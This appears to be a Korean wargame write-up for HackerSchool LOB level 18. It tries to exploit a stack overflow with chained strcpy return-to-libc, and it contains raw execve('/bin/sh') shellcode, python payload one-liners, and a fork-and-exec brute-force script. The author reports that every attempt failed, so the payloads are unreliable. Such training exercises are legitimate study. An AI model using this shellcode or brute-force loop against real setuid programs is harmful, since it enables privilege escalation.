본문 바로가기

WarGame/HackerSchool_LOB

HackerSchool LOB Lovel18

소스를 본다


우선, 리턴주소를 변조시킬 argv[1] 44번째에  strcpy 함수의 주소가 들어가야 한다.

그리고 맨 밑에 memset(buffer+40+8)부터 4바이트를 A로 변조한다.



소스를 보고 정리를 해 보았다.

                  |   ret[4]   |     sft[4]    ||     buf[40]    |    *addr[4]  |
AAAA       |  &strcpy | \x90 [4] ||  \x90[40]  |   *addr[4]  |
AAAA       |  &strcpy | \x90 [4] ||  \x90[40]  |   *addr[4]  |


소스 맨 뒤의 memset 함수에서 buffer+48 부터 4바이트가 AAAA로 변조되고,

메인이 strcpy로 리턴이 되고, strcpy함수가 리턴이 될 때 저 AAAA부분이 실행이 된다.

결국, 저 AAAA부분을 버퍼 안의 쉘코드가 들어있는 주소로 바꾸어야 한다.


그럼 저 빨간부분을 바꾸기 위해, 메인 마지막에 실행되는 strcpy를 적극 이용하여 AAAA를 버퍼의 주소로 바꿔보자.

                                                                                |   ret[4]    |     sft[4]    ||           buf[40]            |    *addr[4]  |
                                                               | AAAA    |  &strcpy | \x90 [4] ||  쉘코드, \x90[40]  |   *addr[4]  |
                                                               | AAAA    |  &strcpy | \x90 [4] ||  쉘코드, \x90[40]  |   *addr[4]  |

| 0x04 | &쉘코드 | 빨간부분의 주소   | AAAA   |  &strcpy | \x90 [4] ||  쉘코드, \x90[40]  |   *addr[4]  |


맨 마지막에는 ret주소가 들어있는 주소 위의 4바이트가 AAAA로 바뀐다.

따라서 Chaining RTL방식은 사용하지 못한다.

그렇다면 strcpy의 3개의 인자가 들어있는 부분은 4바이트 위의 12바이트가 된다.

그럼 strcpy가 실행이 되고 나서는 빨간 AAAA 부분을 내가 원하는 값으로 바꿀 수 있다.

그리고 Chaining RTL공격으로 바로 다음 AAAA가 있던 주소로 실행의 흐름을 바꿀 수 있다.




페이로드를 짜보자.


argv[1]

NOP[44] + &strcpy + NOP[4] + 초록색(바로 아래 4바이트)의 주소 + argv[2]에 입력한 system함수의 주소가 있는 주소 + 0x04

argv[2]

&system + &exit + &/bin/sh


system : 0x40058ae0
exit : 0x400391e0
&/bin/sh : 0x400fbff9 


`python -c 'print "\x90"*44+"\x10\x84\x04\x08"+"\x90"*4+"\xc0\xfa\xff\xbf"+"\x7f\xfc\xff\xbf"+"\x04"'` `python -c 'print "\x90"*100+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`


안된다.

아무리 해도 안됨

argv[2]는 아예 스택에서 보이지도 않음. 씹힘

이유를 모르겠다. strcpy도 자꾸 이상하게 실행됨.

스택주소는 계속 바뀜




그래서 일단 걍 쉘코드로 해보기로 했다.

NOP*19 + SHELLCODE[25] + &strcpy + "AAAA" + &AAAA + &SHELLCODE + \x04


`python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x10\x84\x04\x08"+"AAAA"+"\xc0\xfa\xff\xbf"+"\x9c\xfa\xff\xbf"+"\x04"'`


역시 안된다.


3일째 삽질하다가 일단 실패 ㅜㅜ



좋다

이제 마지막으로 부르트포싱을 하기로 마음먹었다.



import os

TARGET = os.getcwd()
TARGET = TARGET + '/nightmare'
SHELLCODE = "\x90"*30+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
ARG2 = "\x90"*100+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"

print "Go!!"
for i in range(0xff,0x00,-1):
  for j in range(0x00,0xff,1):
    payload = ""
    payload = payload + "A"*44
    payload = payload + "\x10\x84\x04\x08" #strcpy address
    payload = payload + "AAAA" #dummy
    payload = payload + "\xc0\xfa\xff\xbf"   #dest
    payload = payload + chr(j) + chr(i) + "\xff\xbf"   #src

    pid = os.fork()
    if pid == 0:
      print j, i
      os.execv(TARGET, ["nightmare", payload, ARG2])
    else :
      os.waitpid(pid,0)
 


안된다 ㅋㅋ

'WarGame > HackerSchool_LOB' 카테고리의 다른 글

HackerSchool LOB Level17  (0) 2014.08.24
HackerSchool LOB Level16  (0) 2014.08.23
HackerSchool LOB Level15  (0) 2014.08.23
HackerSchool LOB Level14  (0) 2014.08.20
HackerSchool LOB Level13  (0) 2014.08.15